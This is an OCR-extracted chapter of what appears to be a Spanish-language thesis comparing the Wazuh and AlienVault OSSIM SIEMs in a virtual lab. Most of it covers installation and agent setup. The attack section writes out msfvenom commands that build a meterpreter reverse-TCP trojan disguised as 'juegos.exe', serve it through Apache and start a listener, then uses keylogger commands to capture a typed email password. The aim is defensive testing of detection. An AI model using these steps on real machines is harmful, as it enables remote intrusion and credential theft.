Assign an agent name:

Windows

SeleCT onE OF MOre EXISTing groups:

dedauit

Figura 3.12 Asignacién del nombre y del Grupo

Ya ingresado todos los datos, el servidor de Wazuh, se genera un comando el cual
se debe aplicar en el agente en este caso en Windows. También se genera
requerimientos de cémo utilizar el comando generado en Windows tal como se
ilustra en la Figura 3.13.

Run the following commands to download and install the agent:

D Reqguirements

= You will need administrator privileges to perfonm this installation

= Poawershell 3.0 or greater Is required

Ke e in min I:,{-: need to run this command in a Windows FowerShell terminal

Figura 3.13 Comando para agregar en el Agente.

En Windows se procedié a ingresar a la aplicacion PowerShell para ingresar el

comando generado por el servidor Wazuh tal como se ilustra en la Figura 3.14.

ey Administrator: Windows PowerShell = B

osoft Corporation. A1l rights res

ce-WebRequest -Uri htt <z 5 uh-agent-4.8.1-1.ms1 -OutFile §|

fi §{env. tmp zuh-agent /g WAZUH_MANAGER='192.168.195.129" WAZUH_AGENT_GROUP='def:

Figura 3.14 PowerShell de Windows
En la Figura 3.15 se muestra como se ejecuta el comando al momento de dar ENTER.
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&y Administrator; Windows PowerShell = =

he
2014 Microsoft Corporation. All rights reserved.

Writing web request
Writing request stream... (Number of bytes remaining: 1344384)

Figura 3.15 Ejecucion de comando para la instalacion del agente

Por ultimo, se corre el comando que se muestre en la Figura 3.16.

kY Administrator: Windows PowerShell

PS C:\Window stem32> NET START WazuhSwe_

Figura 3.16 Ejecucién de comando de inicio del agente

Volver al servidor Wazuh y se verifica al agente activado y agregado, como se ilustra en

la Figura 3.17.

= @ wazuh - Wazuh x + ~ - =
c o c v G e Activado __ £ © @8 =
= w a ®
oLuTIoN
— e
e Discorrected  Pending _ ® -
1 0 -]
Last enrolled agent Mest active agent @
Windows8 Windowsg
Agents (1) ¢ Export formatted 5]
m T name 1 acaress Groupis) operating Werem Actions
001 w ] 168.195.130 Microsoft Windows 8.1 6.3.9600 de0t 1 . D
Rows per page: 10 1

Figura 3.17 Agente Activado
Implementacion de ALIEN VAULT

Para la instalacion del servidor Alien Vault se utilizé el sistema operativo Linux con

interfaz de texto, para posteriormente seguir los siguientes pasos:

Para la instalacién del servidor Alien Vault, se ingresa a la pagina Level Blue donde se

procede a descargar el ISO del servidor, asi como se ilustra en la Figura 3.18.
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Welcome to LevelBlue —> Search Q | Blog | Contact | Support

Level B/ue Products & Services Solutions Partners Resources m
Download OSSIM
Thank you for downloading OSSIM! Select the format below and then use the MD5 code below.

oad ISO

1SO MD5: 25b42e54{846a75bbe59abad7aZalfe

TAR MD5: aacb6899a0cc3682a1749432c4ce3alc

Figura 3.18 Descarga de la ISO Alien Vault.

Descargada la ISO se procede a instalar el ALIEN VUALT en la aplicacion VMware, la
cual se configura con todos los requisitos para que su funcionamiento sea el adecuado.

En la siguiente Figura 3.19 se muestran los requisitos de la instalacion.

File Edit View VM Tabs Help 5
Hardware  Options
Speify the amount of memary allocated to this virtual machine, The memary
= [_'D 0SSIM ElMenary 8@ remustbe 2 ulpl of 4ME.
1 FProcessors 12
vmwal 53 Hard Disk (5€31) 068 Memory for this virtual machine: 8192 ) vB
(%) cojovo (108) Using fle C: \sers javi-{oneD...
EoNetwork Adapter AT 5
S Network Adapter 2 Bridged (Automatic) @
1 Sound Card Auto detect ne
Cloigpiay Auto getect we | 4 B Maxinu recommended memory
sce 4l (Memry swapping may
468 occur beyond this size.)
268 4 2868
168
512 MB B Recommended memory
256 HE 268
1EME
EAME Guest 05 recommended minimum
2me 168
16 M8
- sMe
 Desaription o
Add...
3 Cancel Help

Figura 3.19 Recursos del servidor ALIEN VUALT.

Ingresados todos los recursos se procede a iniciar la instalacion. La Figura 3.20 ilustra
el inicio de instalacion.
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OVI%

ALIEN VAULT OSSIM

Install AlienUault OSSIM 5.8.11 (64 Bit)
Install Alienault Sewsor 5.8.11 (64 Bit)

Figura 3.20 Inicio de instalaciéon de ALIEN VUALT

Seleccionado la opcién de instalar que muestra la Figura 3.20, en la siguiente Figura

3.21 se visualiza la opcién de escoger el idioma para toda la interfaz.

ALIEN VAULT OSSIM

Seleccione su ubicacion

La ubicacion seleccionada aqui se utilizara para fijar su zona horaria y también como ejemplo para

ayudarle a seleccionar la localizacion de su sistema. Esta localizacion sera habitualmente el pais donde
vd. vive.

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su
ubicacion no esta en la lista.

Pais, territorio o area:

Colombia R |
Costa Rica

Cuba

Ecuador

El Salvador

Espatia .|
Estados Unidos

Guatemala

Honduras

Mexico
Nicaragua

[<]

Capturar la pantalla Retroceder Continuar

Figura 3.21 Seleccién de idioma

En la Figura 3.22 se presenta una ventana, la cual se debe configurar una direccion IP.

ALIEN VAULT OSSIM

Configurar la red

La direccion IP es unica para su ordenador y puede ser:

* cuatro bloques de niumeros separados por puntos (IPva);
* bloques de caracteres hexadecimales separados por dos puntos (IPv6).

También puede anadir una mascara de red CIDR al final (como por ejemplo «/24»).

Consulte con su administrador de red si no sabe qué escribir aqui.
Direccion IP;

192.168.195.130

Figura 3.22 Agregacion de direccion IP

Ya configurado la direccidén se procede agregar su mascara tal como se visualiza en la
Figura 3.23.
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ALIEN VAULT OSSIM

Configurar la red

k

La mascara de red se utiliza para determinar qué sistemas estan incluidos en la red. Consulte al
administrador de red si no conoce el valor. La mascara de red deberia introducirse como cuatro niumeros
separados por puntos.

Mascara de red:

Figura 3.23 Agregacion de mascara de red

Ya establecida el direccionamiento se procede a configurar una contrasefia, como se
ilustra en la Figura 3.24.

Tenga en cuenta que no podra ver la contrasena mientras la introduce.
Clave del superusuano:

Por favor, introduzca la misma contrasefha de superusuario de nuevo para verificar que la introdujo
correctamente.

Vuelva a introducir Is contrasefia para su verificacion:

sesesesees

Capturar la pantalla Retroceder [ Continuar

Figura 3.24 Agregacion de contrasefia

Ya configurado todo lo necesario se procede a la instalacion, se espera varis minutos

hasta que se complete la instalacion tal como se ilustra en la Figura 3.25.

IVIF|

ALIEN VAULT OSSIM

Instalar el sistema base

Fraparando unng (amdé&4d)

Figura 3.25 Proceso de instalacion
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Ya instalado, se procede abrir la interfaz donde se encuentra el direccionamiento
establecido para ingresar al servidor Alien Vault tal como se ilustra en toda la Figura
3.26.

alierwault log

Figura 3.26 Interfaz de Alien Vault

En la Figura 3.27 se observa el método para ingresar a la interfaz, usando el usuario

ADMIN con la contrasefa establecida al momento de la instalacion.

v Ed AlienVault OSSIM [alienvault

ALIEN VAULT OSSIM

alienvault 192.168.195.130

USERNAME  admin

PASSWORD

Figura 3.27 Ingreso a la interfaz de Alien Vault

Para agregar un agente se realiza varias configuraciones. Empezando desde la parte
de ENVIRONMENT y seleccionar ASSETS & GROUPS, tal como se ilustra en la Figura
3.28.

EINLE 1 WELCOME ADMIN | ALIENVAULT 192168195130 | Gl SETTINGS  SUPPORT  LOGOUT

ol & _ % E X
ERVIEW o
| voosnamunes |
Dar Click
“

Figura 3.28 Acceso a ASSETS & GROUPS
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Se agrego un nuevo host, tal como se muestra en la Figura 3.29.

il I - & X
DASHBOARDS ANALYSIS ENVIRONMENT REPORTS CONFIGURATION

ASSITS
e m

Has Alarms

Mas Events

Assets
Vulnerabitities
Asset Valuwe
WIDS Status
ected
€ (3]
Avallabilley Status ; = s 3 ; TREOTLON. |
ug
3 &
Show Assets Added 3}
)]
Dal Q]
Last Updated
- &
3]

Figura 3.29 Ingresar nuevo host

Se ingreso a la ventana que se ilustra en la Figura 3.30, la cual permite agregar el

nombre del agente, su direccidn y el sistema operativo que esta utilizando.

New Asset (]

1P Address Location

A
N/AI [P— Sudin
Chae
L¢-.. Megeria ra
oands Ll
e~ . J = X T aneca
Arguta
e
Combinaciones de teclas  Datcs de mapes SI0IT * Térmnce de w
et Value External Asset Latitude/Longitude
v O
script
Device v|[Tw v m

Figura 3.30 Configuracion del host

Ya establecido el host, se ingresa nuevamente ENVIRONMENT y se selecciona

DETECTION como se presenta en la Figura 3.31.
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Dar Click | e

Figura 3.31 Ingreso a DETECTION

Ya ingresado, se selecciona la parte de AGENTS tal como se ilustra en la Figura 3.32.

[BIVIF] oo WELCOME ADMIN | ALIENVAULT 152.168.195.130 | B SETTINGS SUPPORT LoGOUT
ol X AN E X
— NS N
DASHBOARDS ANALYSIS ENVIRONMENT REPORTS CONFIGURATION
DETECTION -]
OVERVIEW | AGENTS | AGENTLESS | EDIT RULES | CONFIG HIDS CONTROL

HIDS EVENTS TREND- HIDS DATA SOURCES

Syslog

Authenti.

Dar Click

Syscheck

18 Jul 19 Jul 20Jul 21Jul 224ul 23Jul 24.Jul

Figura 3.32 Ingreso a AGENTS

En la Figura 3.33 se observa que se tienen varias direcciones IPs registradas. Para

ingresar el agente que se cre6 anteriormente, se da Click ADD AGENT.

DETECTION 0
OVERVIEW AGENTS AGENTLESS EDIT RULES CONFIG HIDS
AGENT CONTROL
AGENT INFORMATION - m
0w s s | DarClick | <= v
0 o 0 0L2¢0RRST
f 2 @ O

Figura 3.33 Ingreso a ADD AGENT

Se abre una ventana, donde se buscara la direccién IP creada anteriormente tal como

se muestra en la Figura 3.34.
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New HIDS Agent (<]

Valuves marked with () are mandatory

Select an asset to connect to HIDS agent. This will associate the agent with the asset
so that you can see the status of the agent from the asset views. *

|Wind3w58 (192.168.185.132)

¢y All Assets
- 15| Assets
= _=t5 192.168.195 (5 hosts)

(5 192.168.195.1 (Host-192-168-195-1)
(3 192.168.195.2 (Host-192-168-195-2)
& 192.168.195.128 (Host-102-168-105-128)
& 192.168.195.132 Windows3)

(4 192.188.195.254 (Host-102-158-105-254)

#- g, Asset Groups

0 ;=u-;| Networks

# .2 Network Groups

IP/CIDR* [ This is a dynamic IP address (DHCP)

192.165.195.132

Figura 3.34 Incorporacién de un nuevo Agente

Al volver a la ventana de AGENTS se observa que esta agregada la direccion IP que se

cred anteriormente, tal como se ilustra en la Figura 3.35.

Automatic HIJSdedp r ment is :n y available for assets with a Windows OS defined in the asset details pages. If
eploy

aJrare urahle o a HIDS agent to a Wi 1dn\-.s machine, you may need to update the OS field on the
AGENT INFORMATION
D 4 ASSET ¢ IPICIDR ¢ CURRENTIP CURRENT USER STATUS & ACTIONS

@ oo alienvault 127001 127.00.1 - Active/local -9 BHORES

@ o Host-192-165-195-131 192.168.195.131 2 Disconnected COLRFORELT

@ o3 Host-192-168-195-135 192.168.195.135 - Disconnected el FAEEHOI I A |

©® oz Windowss 192.168.195.132 3 Dizconnected ©OLEHXORES M
SHOWING 1TO 4 OF 4 AGENTS

Figura 3.35 Vista al Direccionamiento IP

Para agregar el Agente en el computador se instala un programa si es un sistema
operativo Windows o ingresar varios comandos si se utiliza un sistema Ubuntu. En este
caso se esta utilizando un sistema operativo Windows. El cual el servidor Alien Vault

permite descargar el programa OSSEC tal como se muestra en la Figura 3.36.
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000 stemmat 2700 127001 Actweiec LR hi
O oo Host 19216819513 152168195131 ;;:'_'0?&
0 oo Host-192-168-19%-138 92168195138 . Decannecsed . )
Dar Click

0 oo Windons 92.168.155.152 Disconnected SOLEEOREON

Figura 3.36 Proceso de descargar de la Aplicacién

Ya descargado el programa, se procede a instalarlo en el agente Windows, como se

presenta en la Figura 3.37.

B | [ L d Downloads Application Tools

& OSSEC HIDS Windows Agentv3.7.0 Setup — = B3l

Welcome to OSSEC HIDS Windows
Agent v3.7.0 Setup

This wizard will guide you through the install of OSSEC HIDS.

Click next to continue.

Next > cancel

Figura 3.37 Proceso de instalacion del programa OSSEC

Instalado el programa se procede a configurar la direccion IP del servidor Alien Vault,

se ingresa la clave que da el mismo servidor al momento de crear el agente, tal como

se ilustra en la Figura 3.38.

] Allenvauk OSSIM (afemvautt 10 x| 4 . - =
& OSSEC Agent Manager Ex
<« C A Noseguro | hstpsy//192.168.195.130/a( 1, W e o O 2
anage View Help
RIS vl dora usa Windows 8.1 Mas informacior x

Para recibir las préximas actualizaciones de Google Chrome, ney
Agent WINDOW/SB [002) - 152.168,155131

11 ] Q Status: Stopped @ x

DASHBOARDS ANALYSIS EPORTS CONFIGURATION

— OSSEC Sewver (P [EERDORERREN —
Avthertication key:  |MDAIFD TERPY1TMADESMidx
@ 68,198 Dix CY§ Nr] B e m
Save Refrash

004 21681 = N e ]

L e 21681 O W/ fwrerwiossecinet _[Inatalled on 2024-07-24 15,0888 D T D e BES o
AQFnlkﬂv information for ‘003 is: =
MD. OTIUMTY4L] Ja: OT. YONThwhm i Y Fiv 4} ITa5YilzNzhhMTEONZBhNZBYYmVINw==

m = m G I & _ Se da Click para obtener la clave i

Figura 3.38 Configuracion del programa OSSEC

Se guarda la configuracion, seguido se da click en Manage y click en Start y
autométicamente empieza a vincularse con el servido, visualizando que la red sale

activada en el Alien Vault como se ilustra en la Figura 3.39.
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;iones de Google Chrome, necesitaras Windows 10 © una versién posterior, Esta computadora| & OSSEC Agent Manager

Manage View Help

OSSECHIDS v3.7.0 2,
ol =4 : &l X
Agent WINDOWSE [002) - 132168195131
DASHBOARDS ANALYSIS FORTS CONFIGURATION

Status: Running

OVERVIEW |  AGENTS | AGENTLESS | EDIT RULES |
0SSEC Server I [192168.135 130

AGENT CONTROL

Authentication key: [ MDAYIFAITRRPVTMAIDESMidy
Save Refresh

Automatic HIDS d
unable to dep

ailable for assels with a Windows OS defined in the asset delaj
s machine, you may need to update the OS field on the a4

Started Installed on 2024-07-24 19:05:59
) + ASSET ¢ IPICIDR ¢ CURRENTIP CURRENT USER STATUS & ACTIONS

@ o alienvault 127.00.1 Activeriocal QLB
@ o 182.168.195.13 Y0 LEaOREOD
@ oo3 Host- 192.168.195.135 . - Discennected CIVENE| &I
@ oo Windowss 192.168.195.132 LOLRHFCRESD

=

v : . Agent key information for ‘003 is =

D, OTIUMTY4L] JON2QYOTZIMMZmM2YON 1COMZIMGY 4M2ZKNZMSMTFIYWY0Z] iiZNZhnMTE

Figura 3.39 Agente activado

3.3 Implementacion de la topologia de red

Configuracién de la topologia

Para la implantacion de la topologia se utilizd6 el GNS3, donde se puede incluir las
maquinas virtuales en las que se trabaja actualmente. En la Figura 3.40 se visualiza
como se incluyen en el GNS3 las méquinas virtuales.

& Preferences

General [VMware VM templates
Server
GNS3 VM - ~ General
Packet capture kali-linux-2024.2-vmware-amd64 Template name: iali-linux-2024.2-vmware-amd64
L Template ID: fde26fel-3ad4-4cfd-871e-7546d2f%alee
~ Built-in 0sSIM Server: Javier
Ethernet hubs Headless mode enabled: False
Ethemet switches | (%) SIEM i e B
Cloud nodes . . Console type: nene
- VPCS . Win8AgenteOsin Auto start console: False
~ Network
VPCS _"Dd“ Windows 8.Agen Adapters: 1
~ Dynamips Mame format: Ethernet{0}
105 routers Use any adapter: False
- 105 on UNIX Tree: 1000
10U Devices
~ QEMU
Qemu VMs
~ VirtualBox
VirtualBox VMs
~ VMware
~ Docker
Docker containers
New Edit Delete

OK Cancel

Figura 3.40 Implementacion de las maquinas virtuales en GNS3

Se cred unared que se presenta en la Figura 3.41. Esta red es utilizada para el servidor

Wazuh, donde se tiene un atacante, un agente y el SIEM que en este caso es Wazuh.
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SIEM_WAZUH kali-inuxATACANTE

Windowgg.Agen-1

Figura 3.41 Topologia del servidor Wazuh

Se utiliz6 VMware para tener conectividad en la red ya que permite tener una red interna.
En el software permite tener un switch virtual permitiendo tener comunicacion en toda la
red. En la Figura 3.42 se ilustran las maquinas utilizadas y el direccionamiento que se

establecio.

@ Virtual Network Editor

Name  Type  Externa Comnection - on MO Submetaddess WORKSTATION PRO 17

Enabled _192.168.128.0
Enabled  192.168.195.0

—>
e
ect t
=

k Adapter VMnet1

ute IP address to s DHCP Settings.

SubnetIP; | 192, 168 | Subnetmask: | 255.255.255. 0

£\ Administrator re required to modify the nety onfiguration. % Change Settings

Cancel Appl Help

Figura 3.42 Comunicacion de la red en VMware

Para la segunda topologia se implementé igualmente en GNS3, pero en este caso se
implementé el servidor Alien Vault, el agente, el atacante y una maquina extra para el

monitoreo del SIEM, como se ilustra en la Figura 3.43.
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Cloud1

ALTENVAULTOSSIM

kali-inuxATACANTE

Windowsg.Agen-1

Figura 3.43 Topologia del servidor Alien Vault
Implementacion del ataque

Se escogi6 el ataque troyano Backdoor debido a su complejidad en el contexto de
ciberseguridad, ya que permiten al atacante establecer acceso remoto al sistema
comprometido esquivando las medidas de seguridad que pueda tener el equipo. El
ataque troyano permite tener acceso saltando las defensas y mantener acceso después

de que hayan aplicado parches o actualizaciones.

Se escogid este ataque porque permite estudiar las técnicas avanzadas de evasion y
de ingreso del atacante observando su persistencia en un entorno ya comprometido,
analizando todas las herramientas de deteccion y respuesta ante la amenaza. También
investigar de como el Backdoor afectan la seguridad del equipo para identificar las

vulnerabilidades para prevenir futuros ataques.

Para la creacién del atague Backdoor, se necesita primero el direccionamiento de la

magquina atacante, tal como ilustra en la Figura 3.44.

File Actions Edit View Help

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.195.128 netnask 255.255.255.0 broadcast 192.168.195.255
177/71a35:39b1 prefixlen 64 scopeid 0x20<link>
:af txqueuelen 1000 (Ethernet)
RX packets 11 by 942 (942.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 25 bytes 3214 (3.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags P,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 3.44 Direccionamiento de la maquina atacante
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En la Figura 3.45 se ingresa a modo usuario, para poder utilizar el comando msfconsole
para utilizar metasploit, que es un proyecto de codigo abierto para la seguridad

informatica que proporciona informacion acerca de las vulnerabilidades de seguridad.

root@kali: fhome/kali

File Actions Edit View Help

/home/kali

File System

f

Figura 3.45 Ingreso a metasploit

Ya dentro de metasploit, se muestra una ventana tal como se ilustra en la Figura 3.46.

= root@kali: fhome/kali

File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/
msf6 > exit
/home/kali

Metasploit tip: Use the resource command to run commands from a file

Metasploit Documentation: https://docs.metasploit.com/

Figura 3.46 Ventana de inicio de metasploit

Para iniciar el ataque se ingresa el comando que se expresa en la Figura 3.47. Donde
se visualiza el nombre del sistema operativo donde se realizara el Backdoor, el
direccionamiento IP de la maquina que va a realizar el troyano, el puerto a utilizar para

realizar el ataque y la creacion del ejecutable que se instalara en la maquina atacada.
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root@kali: fhome/kali

File Actions Edit View Help

- 1248 auxiliary - 423 post
8 payloads - 47 encoders - 11 nops

Metasploit Documentation: https://docs.metasploit.com/

ormat=exe > juegos.exe
exXeC. s Tvenon —p windows/meterpreter/reverse_(Cp LHOST=152.166.155.126 LPORT=4444

—-format=exe > juegos.exe

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.128 LPORT=4444 —f I

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
atform was selected, choosing Msf ::Module::Platform::Windows from the payload
ch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload
Payload size: 354 bytes

Final size of exe file: 73802 bytes

msf6 >

Figura 3.47 Comando inicial del ataque Backdoor

En la Figura 3.47 se presenta el nombre que se asigné al ejecutable “juegos.exe”. Ya
terminado el proceso se puede ver la cantidad de bits que tiene. Para verificar que, Si
fue creado, en la Figura 3.48 se ilustra que se utiliza el comando LS para ver el
contenido de la carpeta.

= root@kali: /home/kali
File Actions Edit View Help

=[ metasploit v6.4.9-dev
=[ 2420 exploits - 1248 auxiliary - 423 post
1468 payloads - 47 encoders - 11 nops
[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.128 LPORT=4444 —-f
ormat=exe > juegos.exe

exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.128 LPORT=4444
—format=exe > juegos.exe

Overriding user environment variable 'OPENSSL_CONF' to epable legacy functions.
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
msf6 > 1s
exec: ls

awxxLgtK.jpeg _HvACuZgy MFRpvWZu. jpeg Pictures troyano.exe xHmRXdae. jpeg

Desktop ju S Music prueba.exe veintidos.exe
Documents KVrFRXIw. jpeg MxLIMbTO.jpeg Public Videos
Downloads LCEEbnZg.jpeg OrbQKwOV.jpeg Templates wAiPMjtL.jpeg
msf6 > i

Figura 3.48 Verificacion del ejecutable.exe

A continuacion, se traslado la carpeta del ejecutable hacia Apache para que se pueda
descargar desde el navegador, utilizando la siguiente linea de comando que se ilustra
en la Figura 3.49.
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Figura 3.49 Agregacion del ejecutable.exe en la carpeta Apache

En la Figura 3.50 se observa cdmo se inicia el servicio de Apache.

Figura 3.50 Inicio del servicio de Apache

Ya iniciado el Apache, se utiliza la siguiente linea que se muestra en la Figura 3.51 para

iniciar el programa y poner en modo escucha cuando la victima inicie el programa.

. root@kali: /home/kali

File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.128 LPORT=4444 --f
ormat=exe > juegos.exe

exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.128 LPORT=4444
--format=exe > juegos.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
msf6 > ls
exec: ls

awxxLgtK.jpeg HvACuZqv.jpeg MFRpvWZu.jpeg Pictures troyano.exe xHmRXdae. jpeg
Desktop juegos.exe Music prueba.exe veintidos.exe
Documents kvrFKXIw.jpeg MxLIMDTO.jpeg Public Videos
Downloads LCEEbnZg.jpeg OrbQKwOV.jpeg Templates wAiPMjtL.jpeg
msf6 > cp juegos.exe /var/www/html
exec: cp juegos.exe /var/www/html

msf6 > service apache2 start
exec: service apache2 start

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > 1

Figura 3.51 Ingresar a modo escucha

Ingresado al modo escucha, se ingresa la direccion IP del atacante, el puerto que se va
a utilizar tal como se muestra en la Figura 3.52. se escribe el comando RUN y empieza

a corres y se pone en un modo espera hasta que la victima inicie el programa que esta

en la red.
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) » set LHOST 192.168.195.12!

) > set LPORT 4444

d windows/meterprete

cp

Figura 3.52 Backdoor iniciado

Para que el ataque sea completado, la victima debe ingresar al navegador y escribir la
direccion 192.168.195.128/juegos.exe tal como se muestra en la Figura 3.53, este es
un ejemplo de como se esconde el ataque troyano puede ser en programas
descargables, juegos, imagenes, videos, etc. ya que permanece oculto hasta que se

logre ejecutar.

& Nueva pestaiia x +
C  ® 192.168.195.128/juegos.exe = W O a

Para recibir las préximas actualizaciones de Google Chrome, necesitaras Windows 10 ¢ una versién posterior. Esta computadora usa Windows 8.1, Mas informacién X

&  Google Chrome no es tu navegador predeterminado Establecer como predeterminado x

Gmail Imdgenes

Google

#  personalizar Chrome

o Chrome bloqueé juegos.exe Mostrar tod »
ta Mostrar todo
porque es un archivo peligroso

Figura 3.53 Descarga del ejecutable

En la Figura 3.53 se observa que Windows detectdé la amenaza antes de que se
descargue, para vienes practicos se procede con la descarga tal como se ilustra en la

Figura 3.54.
® Nueva pestaiia X ¥ Descargas X =k v =
C ® Chrome | chrome://downloads e v O &

G Descargas Q,  Buscar descargas

Hoy

juegos.exe

http://192.168.195.128/juegos.exe

Mostrar en carpeta

Figura 3.54 Comprobacién de la descarga del ejecutable
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Ya descargado el ejecutable.exe se procede a iniciarlo tal como se muestra en la Figura
3.55.

Open File - Security Warning
The publisher could not be verified. Are you sure you want to run this
software?
@ MName: C\Users\javi-\Downloads\juegos.exe

Publisher:  Unknown Publisher
Type: Application

From: Ci\Users\javi-\Downloads\juegos.exe

Run Cancel

[#] Always ask before opening this file

| e This file does not have a valid digital signature that verifies its
@l publisher. You should only run software from publishers you trust.
E How can | decide what software to run?

Figura 3.55 inicio del ejecutable juegos.exe

Iniciado el ejecutable se procede a verificar que el atacante tenga entrada sin ser
detectado. Se observan datos especificos de la computadora victima, tal como se ilustra
en la Figura 3.56.

sion 1 opened (192.168.195. 4 —» 192.168.195.130:49307) at 202

-0400

meterpreter >

Figura 3.56 Entrada del atacante en la computadora victima

Para verificar que la direccion IP 192.168.195.130, es de la victima, se procede a realizar
un IPCONFIG en el terminal de la victima, agente Windows, tal como se ilustra en la
Figura 3.57.

Windows 8.Agen

- &
"] = Downloads Applic... o = x + > °
Home __Share View Manage [ 7] A
= IEl D 0 @
= Command Prompt -

3items 1 item selected T20KB =l =

-

Figura 3.57 Verificacion de direccién IP de la victima
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Para ver qué herramientas tiene el atacante, es escribe el comando HELP para ver todo
lo que se puede realizar, asi como se ilustra en la Figura 3.58.

m Commands

Description

Read the contents of a file to the screen

Figura 3.58 Herramientas para el Backdoor

En la demostracion, se procedera a realizar el robo de informaciéon de una cuenta de

correo empezando por el usuario y luego por la contrasefa. Para ello se procedera a

usar el comando para copiar los datos, que se muestra en la Figura 3.59.

Figura 3.59 Linea de escaneo con el comando keyscan_start

Se ingresa un usuario y una contrasefia en la victima tal como se ilustra en la Figura
3.60.

Untitled - Notepad = =
File Edit Format View Help

=5 | | edison.pachacama@gmail.com
op | contrasena holamundo

ity

Figura 3.60 Informacion de correo electronico

Ya escrito la informacién se procede a escribir un comando que permita visualizar todo

lo que ha escrito la victima tal como se ilustra en la Figura 3.61.
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ison.pachacm<™H>ama<Right Shift>Q<“H><Right Shift>@gmail.com<CR>

na holamundo

meterpreter >

Figura 3.61 Copia de informacién con el comando keyscan_dump

Como se muestra en la Figura 3.61 es un robo de informacion de un correo electrénico

donde con pequefios comandos pueden obtener mucha informacion o hacer dafio al

equipo.
3.4 Verificacion del funcionamiento de los SIEM

Andlisis de resultados con Wazuh

Para el andlisis de las respuestas, que muestran las dos herramientas SIEM, se
procedera a analizar cada una empezando por Wazuh. Para ello se analiza el estado

inicial del agente antes de hacer atacado por Backdoor.

Al ingresar a la plataforma de Wazuh en la Figura 3.62, se observa que esta activo el

agente y esta en un estado inicial normal sin ninguna alteracion.

= W Overvnew

AGENTS SUMMARY LAST 24 HOURS ALERTS

® A
@ D ) Critical severity High severity Medium severity m sever :
ENDPOINT SECURITY THREAT INTELLIGENCE
= ctectio 9)  Threat Hun @ ity Detectio
Malware Detection hreat Huntiny fulnerability Detectio
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Figura 3.62 Inicio de Wazuh

Los estados meduim severeti, low severety son logs que tiene el servidor Wazuh con el
agente, donde se ve el inicio y el apagado del agente como el mismo SIEM. En la Figura

3.63 se presenta cada LOG que representa el inicio del equipo.
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Figura 3.63 Logs de inicio y apagado de sesion

Se ingresa al agente para observar que su nivel inicial no tenga ninguna alteracion, tal
como se presenta en la Figura 3.64. En la ventana se muestras la opcién MITRE
ATT&CK, es una herramienta integrada para mejorar la capacidad de las organizaciones
para la proteccion de amenazas y responder de manera objetiva a los ataques. En la
opcién Compliance es el médulo de cumplimiento que facilita a las organizaciones
mantener la conformidad con las normativas de seguridad y proteger sus activos de
cualquier amenaza y vulnerabilidades. El Events count evolutions permite monitorear y
analizar que los administradores de seguridad estén atentos a las actividades en su
entorno, identificando los picos o caidas inusualmente en los nimeros de eventos,

identificando los problemas de seguridad, configuracion y cambios de entorno.
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o otz I adrens VG R EVE R
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Execution

Events count evolution

Figura 3.64 Estado inicial del Agente
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En la Figura 3.64 , ilustra la opcion Compliance la cual tiene un anillo de colores los

cuales permiten identificar ciertos cumplimientos en el sistema.

Verde: Cumple con las normativas y politicas de seguridad con los controles

de monitoreo.
Rojo: Significa que el sistema no cumple con alguna normativa o politica.

Azul: Representa al estado informatico o neutral con eventos que no se ven

afectados al cumplimiento del monitoreo, pero al igual son relevantes.
Morado: Representa el estado de evolucion olas revisiones pendientes.

Para ver que el agente aun no ha sido afectado por algin ataque se observa en la Figura
3.65 que se tiene las opciones Recent Events la cual es una lista de cambios mas
recientes que tiene el directorio de monitoreo, ayudando a mantener la seguridad e

integridad del sistema al detectar actividades maliciosas

FIN: Regent events
TidTR Fath ALLON Rl desoription e e Rulesd

HD rocent &S

Figura 3.65 Estado de Inicio de Recent Events

En la parte superior donde se encuentra el agente se puede observar varias opciones,
como se ilustra en la Figura 3.66, permiten el monitoreo de toda la red o en este caso

del agente que se esta analizando.

Il
H

Endpoints Windows8

2 Endpoint security 3 Threat intelligence
Configuration Assessment Threat Hunting
Malware Detection vulnerability Detection
File Integrity Monitoring MITRE ATTECK

MITRE ATT&CK VirusTotal

Top Tactics @ Security operations #5t Cloud security
2 PCI DSS Amazon Web services
22 GDPR Google Cloud

HIPAA GitHub

NIST 800-53

TSC

Figura 3.66 Opciones de monitoreo
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Para el Andlisis del ataque Backdoor se usardn tres opciones del SIEM que son
MALWARE DETECCION, THREAT HUNTING y MITRE ATT&CK.

Al momento de iniciar el atague el estado inicial que tenia el agente empieza a

modificarse, a tener eventos y tener variaciones, tal como se muestra en la Figura 3.67.

= QD Waruh - Wazruh = +

«— e o A 192.168.195.129

= WL End poines WindowsB

[T = actree TR R ADE A0 v

MITRE ATTE&CK Compliance

Top Tactics

Laiorn! Migyermant 5 L [ =
Inasl Arcass a3 ® 1015
Dolense Evasion ] - v

Bvents count evolution

Figura 3.67 Deteccion de ataque

En la Figura 3.67 empieza a mostrar como va cambiando la parte de Events count
evolution, van subiendo y bajando los picos dando una alerta que se tiene alguna

alteracion en ese lapso, requiriendo un andlisis mas detallado.

